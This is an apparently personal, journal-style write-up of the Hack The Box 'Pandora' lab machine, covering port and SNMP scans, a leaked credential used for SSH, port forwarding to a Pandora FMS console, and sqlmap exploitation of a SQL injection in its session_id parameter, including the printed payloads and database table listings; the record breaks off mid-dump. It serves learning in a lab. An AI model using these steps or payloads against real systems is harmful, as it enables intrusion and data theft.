Overview
Writeup for the Pandora machine on hackthebox.com. I tried to format this document as a journal of sorts, documenting progress, thoughts and discoveries as I uncovered them.
This challenge took me a few days, and I got stuck more than a few times along the way. I cheated by reading some other writeups to get unstuck. Don’t get discouraged, this was fun and challenging. The goal is to learn!
Enumeration
nmap Port Scan
$ nmap -p- -sV 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-30 22:08 CDT
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.052s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.98 seconds
Exploring the Web Application on :80
Some sort of product website mentions panda.htb
, added that to my host file, but it resolves to the same site.
Wappalyzer
Nothing too interesting here, looks like a basic site using basic frontend libraries and apache 2.4.41, which we already learned from nmap.
curl headers
$ curl -v 10.10.11.136 -o /dev/null
* Trying 10.10.11.136:80...
* TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.11.136 (10.10.11.136) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.11.136
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 May 2022 02:44:32 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Fri, 03 Dec 2021 14:00:31 GMT
< ETag: "8318-5d23e548bc656"
< Accept-Ranges: bytes
< Content-Length: 33560
< Vary: Accept-Encoding
< Content-Type: text/html
<
{ [2297 bytes data]
100 33560 100 33560 0 0 208k 0 --:--:-- --:--:-- --:--:-- 208k
* Connection #0 to host 10.10.11.136 left intact
gobuster
$ gobuster dir --url http://panda.htb --wordlist ../../SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://panda.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ../../SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/30 21:54:12 Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 307] [--> http://panda.htb/assets/]
===============================================================
2022/04/30 22:01:57 Finished
===============================================================
nothing!
Contact Form/SQL Injection
The contact firm us suspect. I started throwing junk into the form fields to see if it would do anything weird.
When the form posts, it does something like the following (showing in fethc format for clarity)
await fetch("http://panda.htb/index.html?fullName=sdfvsd&email=sdvsd%40sdcd.com&phone=sdfvsdvf&message=sdfvsdvf", {
"credentials": "omit",
"headers": {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
},
"referrer": "http://panda.htb/index.html",
"method": "GET",
"mode": "cors"
});
Can’t seem to get this to break. Tried a couple of nasty strings from https://github.com/payloadbox/sql-injection-payload-list but no luck.
Email Test
I thought maybe the form would send an email with some more interesing links. Not wanting to provide my personal email, I found https://temp-mail.org/en/, which instantly generates a temp email address and monitors that address for email. All in < 10s.
ssh
Attempted some basic ssh creds just to be sure root:root root:password. Glad it wasn’t that easy.
At this point I was a little stuck. Nothing seemed to be working. So I cheated and googled around for Pandora HTB guides, and stumbled upon a writeup that mentioned scanning UDP. But didn’t I already do that? Turns out I hadn’t because you have to tell nmap to scan udp ports using a flag.
Newb mistake: nmap does not scan UDP ports by default. I really need to get better acquainted with the different nmap scan flags. To have it scan UDP you need to use
-sU
UDP Scan
$ sudo nmap -sUV -F 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-30 22:32 CDT
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.050s latency).
Not shown: 88 closed ports
PORT STATE SERVICE VERSION
49/udp open|filtered tacacs
161/udp open snmp?
427/udp open|filtered svrloc
518/udp open|filtered ntalk
626/udp open|filtered serialnumberd
1023/udp open|filtered unknown
1813/udp open|filtered radacct
4444/udp open|filtered krb524
17185/udp open|filtered wdbrpc
32771/udp open|filtered sometimes-rpc6
49190/udp open|filtered unknown
49191/udp open|filtered unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.77 seconds
AHA! Looks like snmp
is available.
Exploring SNMP
After some google searching I found an interesting tool called snmpcheck
which was created by Matteo Cantoni - http://www.nothink.org/.
I tried to install it from apt, but I was getting errors having to do with deps when I ran it. So instead of trying to solve all that, I just used a prebuilt docker image.
Output truncated for brevity.
Note: truncated for brevity, see snmpcheck.txt for more information.
$ docker run --rm -ti katta/snmpcheck 10.10.11.136
snmpcheck.rb v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.11.136:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.10.11.136
Hostname : pandora
Description : Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
Contact : Daniel
Location : Mississippi
Uptime snmp : 00:48:40.12
Uptime system : 00:48:29.92
System date : 2022-5-1 04:04:42.0
...
[*] TCP connections and listening ports:
Local address Local port Remote address Remote port State
0.0.0.0 22 0.0.0.0 0 listen
10.10.11.136 22 10.10.14.134 45720 established
10.10.11.136 53350 1.1.1.1 53 synSent
127.0.0.1 3306 0.0.0.0 0 listen
127.0.0.53 53 0.0.0.0 0 listen
[*] Listening UDP ports:
Local address Local port
0.0.0.0 161
127.0.0.53 53
...
[*] Processes:
Id Status Name Path Parameters
...
835 runnable apache2 /usr/sbin/apache2 -k start
837 running snmpd /usr/sbin/snmpd -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid
843 runnable sshd sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
958 runnable mysqld /usr/sbin/mysqld
1126 runnable host_check /usr/bin/host_check -u daniel -p HotelBabylon23
2185 runnable sshd sshd: daniel@pts/0
Findings
- There’s a mysql service running which we can see both from the process list and listening TCP ports.
- looks like we have a leaked credential on a process called
host_check
daniel:HotelBabylon23
- sshd is maybe running as the daniel user?
Foothold
ssh session
Let’s use the credentials we found from the snmp listing to try and get an ssh session.
$ ssh [email protected]
[email protected]'s password: HotelBabylon23
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun 1 May 04:18:38 UTC 2022
System load: 0.0
Usage of /: 63.0% of 4.87GB
Memory usage: 8%
Swap usage: 0%
Processes: 222
Users logged in: 1
IPv4 address for eth0: 10.10.11.136
IPv6 address for eth0: dead:beef::250:56ff:feb9:c26a
=> /boot is using 91.8% of 219MB
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun May 1 03:44:40 2022 from 10.10.14.134
daniel@pandora:~$
booyah!
host_check
host_check was the bin that was spit out via snmpcheck. I wasn’t familiar with so let’s see what we can find out.
$ which host_check
/usr/bin/host_check
$ file host_check
/usr/bin/host_check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1405fc37fbf335b24d79d20f99671c9b2395cac, for GNU/Linux 3.2.0, not stripped
$ host_check -h
Ussage: ./host_check -u username -p password.
$ host_check -u daniel -p HotelBabylon23
PandoraFMS host check utility
Now attempting to check PandoraFMS registered hosts.
Files will be saved to ~/.host_check
$ cat ~/.host_check
1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3cbb9846fbe944772d913fcfc69;3
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3
hmmmm. I wonder if there’s a website on localhost?
http://localhost
curl -v localhost
* Trying ::1:80...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET / HTTP/1.1
> Host: localhost
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 May 2022 04:28:36 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Fri, 11 Jun 2021 14:55:39 GMT
< ETag: "3f-5c47eb370f0c0"
< Accept-Ranges: bytes
< Content-Length: 63
< Content-Type: text/html
<
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
* Connection #0 to host localhost left intact
interesting!
curl -v localhost/pandora_console/ -o /dev/null
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying ::1:80...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /pandora_console/ HTTP/1.1
> Host: localhost
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 May 2022 04:29:12 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Set-Cookie: PHPSESSID=oomg1mhrmae7k8pge1q9uhqkru; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: errormsg=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [13675 bytes data]
100 13674 0 13674 0 0 494k 0 --:--:-- --:--:-- --:--:-- 494k
* Connection #0 to host localhost left intact
SSH local port forwarding
Let’s see if we can get this pulled up in a local browser. We’re going to need to do some sort of port forwarding, and since we have an ssh connection, we should be able to use it’s remote forwarding feature.
$ ssh -L 8080:localhost:80 [email protected]
And now we have access to an admin panel on our host machine via http://localhost:8080.
Apache Configuration
$ cat /etc/apache2/sites-available/pandora.conf
<VirtualHost localhost:80>
ServerAdmin [email protected]
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
AssignUserID matt matt
is interesting, I bet we can use that to spit out the user.txt
file.
PandoraFMS Admin Panel
Logging in with this daniel
credential results in an error that daniel is only an api user
. Other accounts give a different error message, so that’s worth something.
source code
$ cd /var/www
$ ls
html pandora
$ cd pandora
$ ls
index.html pandora_console
$ cd pandora_console
$ ls -la
total 1672
drwxr-xr-x 16 matt matt 4096 Dec 7 14:32 .
drwxr-xr-x 3 matt matt 4096 Dec 7 14:32 ..
-rw-r--r-- 1 matt matt 3746 Jan 3 2020 ajax.php
drwxr-xr-x 6 matt matt 4096 Dec 7 14:32 attachment
-rw-r--r-- 1 matt matt 1175 Jun 17 2021 audit.log
-rw-r--r-- 1 matt matt 534 Jan 3 2020 AUTHORS
-rw-r--r-- 1 matt matt 585 Jan 3 2020 composer.json
-rw-r--r-- 1 matt matt 16003 Jan 3 2020 composer.lock
-rw-r--r-- 1 matt matt 14875 May 17 2019 COPYING
-rw-r--r-- 1 matt matt 506 Jan 3 2020 DB_Dockerfile
drwxr-xr-x 2 matt matt 4096 Dec 7 14:32 DEBIAN
-rw-r--r-- 1 matt matt 3366 Jan 3 2020 docker_entrypoint.sh
-rw-r--r-- 1 matt matt 1263 Jan 3 2020 Dockerfile
drwxr-xr-x 11 matt matt 4096 Dec 7 14:32 extensions
drwxr-xr-x 4 matt matt 4096 Dec 7 14:32 extras
drwxr-xr-x 2 matt matt 4096 Dec 7 14:32 fonts
drwxr-xr-x 5 matt matt 4096 Dec 7 14:32 general
drwxr-xr-x 20 matt matt 4096 Dec 7 14:32 godmode
drwxr-xr-x 21 matt matt 36864 Dec 7 14:32 images
drwxr-xr-x 21 matt matt 4096 Dec 7 14:32 include
-rw-r--r-- 1 matt matt 52704 Dec 2 12:06 index.php
-rw-r--r-- 1 matt matt 42398 Jan 3 2020 install.done
drwxr-xr-x 5 matt matt 4096 Dec 7 14:32 mobile
drwxr-xr-x 15 matt matt 4096 Dec 7 14:32 operation
-rw-r--r-- 1 matt matt 74928 May 1 04:38 pandora_console.log
-rw-r--r-- 1 matt matt 234 May 17 2019 pandora_console_logrotate_centos
-rw-r--r-- 1 matt matt 171 May 17 2019 pandora_console_logrotate_suse
-rw-r--r-- 1 matt matt 222 May 17 2019 pandora_console_logrotate_ubuntu
-rw-r--r-- 1 matt matt 4883 May 17 2019 pandora_console_upgrade
-rw-r--r-- 1 matt matt 1168598 Jan 3 2020 pandoradb_data.sql
-rw-r--r-- 1 matt matt 160283 Jan 3 2020 pandoradb.sql
-rw-r--r-- 1 matt matt 476 Jan 3 2020 pandora_websocket_engine.service
drwxr-xr-x 3 matt matt 4096 Dec 7 14:32 tests
drwxr-xr-x 2 matt matt 4096 Dec 7 14:32 tools
drwxr-xr-x 11 matt matt 4096 Dec 7 14:32 vendor
-rw-r--r-- 1 matt matt 4856 Jan 3 2020 ws.php
Hmmm a user named matt. let’s play with that for a sec, can we su
to that user or check his home directory for anything interesting.
$ su - matt
Password: HotelBabylon23
su: Authentication failure
$ ls /home/matt
user.txt
$ cat /home/matt/user.txt
cat: /home/matt/user.txt: Permission denied
OK, we’re getting close!
Back to the source code, maybe we can find something in a config file somewhere.
$ grep config index.php
...
// If no config file, automatically try to install.
if (! file_exists('include/config.php')) {
...
$ cat include/config.php
cat: include/config.php: Permission denied
After digging into some more source code, PandoraFMS seems like a real product. See: https://github.com/pandorafms/pandorafms I’m going to guess there’s nothing really interesting going on here for now in terms of the source code. Let’s move on to CVEs.
CVE Research
And checking for CVE there’s an interesting one: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0507 - This feels a little too recent.
Here’s a nice list of CVE’s for this product: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Pandora%20FMS
Text searching that page for “injection” gives us a few leads:
- CVE-2021-32099: A SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php session_id parameter, leading to a login bypass.
- CVE-2020-26518: Artica Pandora FMS before 743 allows unauthenticated attackers to conduct SQL injection attacks via the pandora_console/include/chart_generator.php session_id parameter.
Double checking the footer on the login screen we can see this box is running v7.0NG.742_FIX_PERL2020
, which im guessing is 742.
SQL Injection w/ sqlmap
Wow, sqlmap is a really great tool. You give it a URL and it will try to find injection points, and that’s just the beginning.
Reading the description of CVE-2020-26518 says the injection can happen on the pandora_console/include/chart_generator.php
session_id
param.
First let’s setup an alias for sqlmap since we’re using it via docker, and its a pain to work with those long docker names.
# .bashrc or .zshrc
alias sqlmap="docker run --net host --rm -it -v /tmp/sqlmap:/root/.sqlmap/ paoloo/sqlmap"
Now let’s see if sqlmap can discover the injection point. (The following took about 7 minutes).
$ sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''"
_
___ ___| |_____ ___ ___ {1.0.9.32#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:24:01
[07:24:02] [INFO] testing connection to the target URL
[07:24:02] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[07:24:02] [INFO] testing if the target URL is stable
[07:24:03] [INFO] target URL is stable
[07:24:03] [INFO] testing if GET parameter 'session_id' is dynamic
[07:24:03] [WARNING] GET parameter 'session_id' does not appear dynamic
[07:24:03] [INFO] heuristic (basic) test shows that GET parameter 'session_id' might be injectable (possible DBMS: 'MySQL')
[07:24:03] [INFO] heuristic (XSS) test shows that GET parameter 'session_id' might be vulnerable to cross-site scripting attacks
[07:24:03] [INFO] testing for SQL injection on GET parameter 'session_id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[07:24:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:24:13] [WARNING] reflective value(s) found and filtering out
[07:24:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:24:21] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:24:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'
[07:24:38] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[07:24:39] [INFO] GET parameter 'session_id' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --not-string="SQL")
[07:24:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[07:24:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)'
[07:24:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[07:24:40] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)'
[07:24:40] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[07:24:40] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)'
[07:24:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[07:24:40] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[07:24:40] [INFO] GET parameter 'session_id' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[07:24:40] [INFO] testing 'MySQL inline queries'
[07:24:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[07:24:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:24:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[07:24:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[07:24:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[07:24:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[07:24:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[07:24:41] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[07:25:11] [WARNING] turning off pre-connect mechanism because of connection time out(s)
[07:25:41] [INFO] GET parameter 'session_id' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable
[07:25:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:25:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:25:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:25:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[07:25:42] [INFO] target URL appears to have 3 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[07:25:54] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[07:25:54] [INFO] testing 'MySQL UNION query (34) - 21 to 40 columns'
[07:25:58] [INFO] testing 'MySQL UNION query (34) - 41 to 60 columns'
[07:26:02] [INFO] testing 'MySQL UNION query (34) - 61 to 80 columns'
[07:26:05] [INFO] testing 'MySQL UNION query (34) - 81 to 100 columns'
GET parameter 'session_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 345 HTTP(s) requests:
---
Parameter: session_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: session_id=''' RLIKE (SELECT (CASE WHEN (7980=7980) THEN 0x2727 ELSE 0x28 END))-- FWHp
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: session_id=''' OR (SELECT 8604 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(8604=8604,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- dREj
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: session_id=''' OR SLEEP(5)-- VzZo
---
[07:26:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0
[07:26:14] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'
[*] shutting down at 07:26:14
Great! it found that the session_id field is vulnerable.
Another neat thing about this tool is that it retains state. Next time you try and do something with this route, it will pick up where it left off.
Let’s list out the databases, and tell it to assume mysql as the backend, since we know mysqld is running from our scans above.
$ sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql --dbs
_
___ ___| |_____ ___ ___ {1.0.9.32#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:34:49
[07:34:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: session_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: session_id=''' RLIKE (SELECT (CASE WHEN (7980=7980) THEN 0x2727 ELSE 0x28 END))-- FWHp
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: session_id=''' OR (SELECT 8604 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(8604=8604,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- dREj
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: session_id=''' OR SLEEP(5)-- VzZo
---
[07:34:49] [INFO] testing MySQL
[07:34:49] [INFO] confirming MySQL
[07:34:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:34:49] [INFO] fetching database names
[07:34:49] [INFO] the SQL query used returns 2 entries
[07:34:49] [INFO] resumed: information_schema
[07:34:49] [INFO] resumed: pandora
available databases [2]:
[*] information_schema
[*] pandora
[07:34:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'
[*] shutting down at 07:34:49
Cool, so it found:
- information_schema
- pandora
Let’s check the tables for pandora
.
Output shortened for brevity.
$ sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql -D pandora --tables
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:35:11] [INFO] fetching tables for database: 'pandora'
[07:35:11] [WARNING] reflective value(s) found and filtering out
[07:35:11] [INFO] the SQL query used returns 178 entries
...
[07:35:11] [INFO] retrieved: [TABLE NAMES]
...
Database: pandora
[178 tables]
+------------------------------------+
| taddress |
| taddress_agent |
| tagent_access |
| tagent_custom_data |
| tagent_custom_fields |
| tagent_custom_fields_filter |
| tagent_module_inventory |
| tagent_module_log |
| tagent_repository |
| tagent_secondary_group |
| tagente |
| tagente_datos |
| tagente_datos_inc |
| tagente_datos_inventory |
| tagente_datos_log4x |
| tagente_datos_string |
| tagente_estado |
| tagente_modulo |
| talert_actions |
| talert_commands |
| talert_snmp |
| talert_snmp_action |
| talert_special_days |
| talert_template_module_actions |
| talert_template_modules |
| talert_templates |
| tattachment |
| tautoconfig |
| tautoconfig_actions |
| tautoconfig_rules |
| tcategory |
| tcluster |
| tcluster_agent |
| tcluster_item |
| tcollection |
| tconfig |
| tconfig_os |
| tcontainer |
| tcontainer_item |
| tcredential_store |
| tdashboard |
| tdatabase |
| tdeployment_hosts |
| tevent_alert |
| tevent_alert_action |
| tevent_custom_field |
| tevent_extended |
| tevent_filter |
| tevent_response |
| tevent_rule |
| tevento |
| textension_translate_string |
| tfiles_repo |
| tfiles_repo_group |
| tgis_data_history |
| tgis_data_status |
| tgis_map |
| tgis_map_connection |
| tgis_map_has_tgis_map_con |
| tgis_map_layer |
| tgis_map_layer_groups |
| tgis_map_layer_has_tagente |
| tgraph |
| tgraph_source |
| tgraph_source_template |
| tgraph_template |
| tgroup_stat |
| tgrupo |
| tincidencia |
| titem |
| tlanguage |
| tlayout |
| tlayout_data |
| tlayout_template |
| tlayout_template_data |
| tlink |
| tlocal_component |
| tlog_graph_models |
| tmap |
| tmensajes |
| tmetaconsole_agent |
| tmetaconsole_agent_secondary_group |
| tmetaconsole_event |
| tmetaconsole_event_history |
| tmetaconsole_setup |
| tmigration_module_queue |
| tmigration_queue |
| tmodule |
| tmodule_group |
| tmodule_inventory |
| tmodule_relationship |
| tmodule_synth |
| tnetflow_filter |
| tnetflow_report |
| tnetflow_report_content |
| tnetwork_component |
| tnetwork_component_group |
| tnetwork_map |
| tnetwork_matrix |
| tnetwork_profile |
| tnetwork_profile_component |
| tnetworkmap_ent_rel_nodes |
| tnetworkmap_enterprise |
| tnetworkmap_enterprise_nodes |
| tnews |
| tnota |
| tnotification_group |
| tnotification_source |
| tnotification_source_group |
| tnotification_source_group_user |
| tnotification_source_user |
| tnotification_user |
| torigen |
| tpassword_history |
| tperfil |
| tphase |
| tplanned_downtime |
| tplanned_downtime_agents |
| tplanned_downtime_modules |
| tplugin |
| tpolicies |
| tpolicy_agents |
| tpolicy_alerts |
| tpolicy_alerts_actions |
| tpolicy_collections |
| tpolicy_groups |
| tpolicy_modules |
| tpolicy_modules_inventory |
| tpolicy_plugins |
| tpolicy_queue |
| tprofile_view |
| tprovisioning |
| tprovisioning_rules |
| trecon_script |
| trecon_task |
| trel_item |
| tremote_command |
| tremote_command_target |
| treport |
| treport_content |
| treport_content_item |
| treport_content_item_temp |
| treport_content_sla_com_temp |
| treport_content_sla_combined |
| treport_content_template |
| treport_custom_sql |
| treport_template |
| treset_pass |
| treset_pass_history |
| tserver |
| tserver_export |
| tserver_export_data |
| tservice |
| tservice_element |
| tsesion |
| tsesion_extended |
| tsessions_php |
| tskin |
| tsnmp_filter |
| ttag |
| ttag_module |
| ttag_policy_module |
| ttipo_modulo |
| ttransaction |
| ttrap |
| ttrap_custom_values |
| tupdate |
| tupdate_journal |
| tupdate_package |
| tupdate_settings |
| tuser_double_auth |
| tuser_task |
| tuser_task_scheduled |
| tusuario |
| tusuario_perfil |
| tvisual_console_elements_cache |
| twidget |
| twidget_dashboard |
+------------------------------------+
Neat! Looking through that huge list of tables there’s a few that stick out.
tpassword_history
tsessions_php
Let’s see what’s in the password_history table.
sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql -D pandora -T tpassword_history --d
[07:41:58] [INFO] testing MySQL
[07:41:58] [INFO] confirming MySQL
[07:41:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:41:58] [INFO] fetching columns for table 'tpassword_history' in database 'pandora'
[07:41:58] [WARNING] reflective value(s) found and filtering out
[07:41:58] [INFO] the SQL query used returns 5 entries
[07:41:58] [INFO] retrieved: id_pass
[07:41:59] [INFO] retrieved: int(10) unsigned
[07:41:59] [INFO] retrieved: id_user
[07:41:59] [INFO] retrieved: varchar(60)
[07:41:59] [INFO] retrieved: password
[07:41:59] [INFO] retrieved: varchar(45)
[07:41:59] [INFO] retrieved: date_begin
[07:41:59] [INFO] retrieved: datetime
[07:42:00] [INFO] retrieved: date_end
